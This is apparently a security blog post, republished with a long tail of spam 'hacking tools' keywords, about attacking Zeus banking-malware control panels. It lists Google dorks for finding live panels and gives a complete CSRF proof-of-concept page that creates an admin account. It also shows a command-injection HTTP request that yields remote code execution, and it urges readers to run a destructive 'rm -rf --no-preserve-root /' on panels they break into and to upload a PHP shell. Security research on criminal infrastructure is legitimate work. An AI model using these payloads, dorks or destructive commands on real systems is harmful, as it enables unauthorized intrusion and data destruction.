Attacking Financial Malware Botnet Panels - Zeus
Saturday, June 3, 2023
0
comments
I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)
The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.
First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
- inurl:cp.php?m=login - this should be the login to the control panel
- inurl:_reports/files - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
- inurl:install/index.php - this should be deleted, but I think this is useless now.
Boring vulns found
- Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
- No password policy - admins can set up really weak passwords
- No anti brute-force - you can try to guess the admin's password. Default username is admin
- Password autocomplete enabled - boring
- Missing HttpOnly flag on session cookie - it could be nice if I could find any XSS. I need more time to find one!
- No CSRF protection - except on the password change, where the old password is needed :-( boring
<html> <head> <title></title> </head> <body> <pre> This is a CSRF POC to create a new admin user in Zeus admin panels. Username: user_1392719246 Password: admin1 You might change the URL from 127.0.0.1. Redirecting in a hidden iframe in <span id="countdown">10</span> seconds. </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe> <form action="http://127.0.0.1/cp.php?m=sys_users&new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame"> <input name="name" type="hidden" value="user_1392719246" /> <input name="password" type="hidden" value="admin1" /> <input name="status" type="hidden" value="1" /> <input name="comment" type="hidden" value="PWND!" /> <input name="r_botnet_bots" type="hidden" value="1" /> <input name="r_botnet_scripts" type="hidden" value="1" /> <input name="r_botnet_scripts_edit" type="hidden" value="1" /> <input name="r_edit_bots" type="hidden" value="1" /> <input name="r_reports_db" type="hidden" value="1" /> <input name="r_reports_db_edit" type="hidden" value="1" /> <input name="r_reports_files" type="hidden" value="1" /> <input name="r_reports_files_edit" type="hidden" value="1" /> <input name="r_reports_jn" type="hidden" value="1" /> <input name="r_stats_main" type="hidden" value="1" /> <input name="r_stats_main_reset" type="hidden" value="1" /> <input name="r_stats_os" type="hidden" value="1" /> <input name="r_system_info" type="hidden" value="1" /> <input name="r_system_options" type="hidden" value="1" /> <input name="r_system_user" type="hidden" value="1" /> <input name="r_system_users" type="hidden" value="1" /> </form> <script type="text/javascript"> window.onload=function(){ var counter = 10; var interval = setInterval(function() { counter--; document.getElementById('countdown').innerHTML = counter; if (counter == 0) { redirect(); clearInterval(interval); } }, 1000); }; function redirect() { document.getElementById("csrf-form").submit(); } </script> </body> </html>
- MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
- ClickJacking - really boring stuff
- Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
- SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.
Whats good news (for the C&C panel owners)
The following stuff looks good, at least some vulns were taken seriously:
- The system directory is protected with .htaccess deny from all.
- gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
- Anti XSS: the following code is used almost everywhere
return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.
What's really bad news (for the C&C panel owners)
And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).
The vulnerable code is in system/fsarc.php:
function fsarcCreate($archive, $files){ ... $archive .= '.zip'; $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"'; exec($cli, $e, $r); }
The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60 filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.
Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)
That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )
Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)
- Hacking Tools Software
- Game Hacking
- Easy Hack Tools
- Best Hacking Tools 2020
- Hacker Tool Kit
- Computer Hacker
- Pentest Box Tools Download
- Hacker Tools Hardware
- Best Hacking Tools 2019
- Hackers Toolbox
- Nsa Hack Tools Download
- Nsa Hack Tools Download
- Hacker Tools 2019
- Hack Tools Pc
- Hacking Apps
- Hack Tools For Ubuntu
- Hacker Tool Kit
- Hacking Tools Github
- Hacking App
- What Are Hacking Tools
- Hacking Tools For Pc
- Hak5 Tools
- Hacking Tools Name
- Pentest Tools Find Subdomains
- Hack Tools For Games
- Growth Hacker Tools
- Install Pentest Tools Ubuntu
- Hack Tools For Mac
- Hack Website Online Tool
- Hak5 Tools
- Growth Hacker Tools
- Pentest Tools Download
- Blackhat Hacker Tools
- Hacker Tools For Windows
- Termux Hacking Tools 2019
- Hack Tools 2019
- Blackhat Hacker Tools
- Hack Apps
- Pentest Tools Website Vulnerability
- Hacker Tools List
- Pentest Tools Free
- Pentest Tools Linux
- Hacker Tools
- Pentest Tools Subdomain
- Hack Rom Tools
- Top Pentest Tools
- Pentest Tools Free
- Hacking Tools 2019
- Hacking Tools For Mac
- How To Install Pentest Tools In Ubuntu
- Hacking Tools
- Tools For Hacker
- New Hack Tools
- Github Hacking Tools
- Hacker Tool Kit
- Hacking Tools For Mac
- Computer Hacker
- Nsa Hacker Tools
- Hacker Tools List
- Hack Tools For Mac
- Hack Tools Github
- Hacking Tools Usb
- Hacking Tools 2019
- Pentest Tools Alternative
- Hacks And Tools
- Hacker Tools Linux
- Hacker
- Hackrf Tools
- Pentest Tools Website
- Hacking Tools Name
- Nsa Hack Tools
- Hack Tools Mac
- Hacker Tools Free Download
- Hack And Tools
- Beginner Hacker Tools
- Hacker Tool Kit
- Pentest Tools Tcp Port Scanner
- Hacking Tools Download
- Hacking App
- Beginner Hacker Tools
- Hacking Tools For Windows Free Download
- Hacking Tools For Windows
- Hak5 Tools
- Hak5 Tools
- Hacker Tools Apk
- Beginner Hacker Tools
- Hack Tools For Pc
- Pentest Tools For Android
- Easy Hack Tools
- Game Hacking
- Hacking App
- Pentest Tools Download
- Best Hacking Tools 2020
- Pentest Tools Website
- Hacker Tools For Windows
- Hacker Tools Apk
- Hacker Tools For Windows
- Hack Rom Tools
- Termux Hacking Tools 2019
- Github Hacking Tools
- Hacking Tools Name
- What Are Hacking Tools
- Easy Hack Tools
- Hack Tools 2019
- Pentest Tools For Mac
- Pentest Tools Subdomain
- Hacker Security Tools
- Pentest Tools Port Scanner
- Hak5 Tools
- Best Pentesting Tools 2018
- Underground Hacker Sites
- Hacker Tools 2019
- Pentest Tools List
- Hack Rom Tools
- Pentest Tools Kali Linux
- Hack Tools For Games
- Hacking Tools Pc
- Hacker Tools Free
- Hack Website Online Tool
- Pentest Tools Website
- Hacking Tools For Windows 7
- Hacker Hardware Tools
- Pentest Tools For Windows
- New Hacker Tools
- Pentest Tools Website Vulnerability
- Pentest Tools Windows
- New Hacker Tools
- Hacking Tools 2020
- Hack Tools For Windows
- Pentest Tools Online
- World No 1 Hacker Software
- Black Hat Hacker Tools
- Pentest Tools Free
- Kik Hack Tools
- Hacking Tools Online
- Free Pentest Tools For Windows
- Hack App
- Hack Tools Github
- Hacker Tools Software
- Best Pentesting Tools 2018
- Pentest Reporting Tools
- Hacking Tools Pc
- Hacking Tools For Mac
- Hacking Tools For Pc
- Hacking Tools For Beginners
- Pentest Tools Kali Linux
- Hack Tools Github
- Termux Hacking Tools 2019
- Pentest Tools For Windows
- Pentest Tools Website
- Hack Tool Apk No Root
- Hack Tools Mac
0 comments:
Post a Comment